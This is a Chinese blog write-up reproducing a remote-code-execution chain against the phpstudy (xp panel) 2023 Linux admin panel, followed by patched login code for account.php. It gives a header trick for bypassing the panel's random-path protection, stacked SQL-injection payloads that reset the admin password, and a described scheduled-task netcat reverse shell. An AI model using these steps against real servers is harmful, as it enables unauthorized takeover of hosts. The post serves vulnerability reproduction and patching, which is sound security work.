phpstudy小皮面板2023版RCE

复现过程:

绕过随机码-->堆叠注入-->计划任务-->命令执行

环境版本:

Linux版phpstudy=x.1.29

1-随机码绕过

已知某站点使用phpstudy服务器搭建,使用默认端口访问phpstudy后台运维系统页面,返回404 Not Found:

加上user/login也依然如故:

192.168.8.135:9080/user/login

抓包添加一行:

X-Requested-With: XMLHttpRequest

 出现了phpstudy的title:

 等待一会儿,放行全部数据包后,出现了登录页面,成功绕过了随机码:

Tips:还有一种奇怪的方法绕过随机码:抓包后,在第一行GET/user/login中间插入两个空格,也可绕过:

2-堆叠注入更改密码

 在登录页面,直接构造payload,修改密码为123456或dustfree:

修改密码为123456:

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

修改密码为dustfree:

admin';UPDATE ADMINS set PASSWORD = 'b43f5ef5f8175aca716d711c8ac8bdd2' where username = 'admin';--

忽略报错,使用dustfree密码登录,用户admin,登录成功:

如果继续返回404 Not Found页面,需要在http头中继续加入 X-Requested-With: XMLHttpRequest才能正常访问。

3-计划任务写入反弹shell

点击左侧的计划任务-->添加任务

新建nc反弹shell:

执行任务-->确定。执行之前服务端开启监听:

4-命令执行

附上account.php修复代码:

<?php
require_once __DIR__.'/../app/lib/common.php';
require_once __DIR__.'/../app/model/Account.php';
$type = post('type');
if(!$type){
$type = get('type');
}
// 登录
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
if (strlen($username) > 16) {
xpexit(json_encode(array('code'=>1,'msg'=>'登录失败,用户名或密码不正确')));
}
$username = htmlspecialchars($username);
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}
posted @   dustfree  阅读(841)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示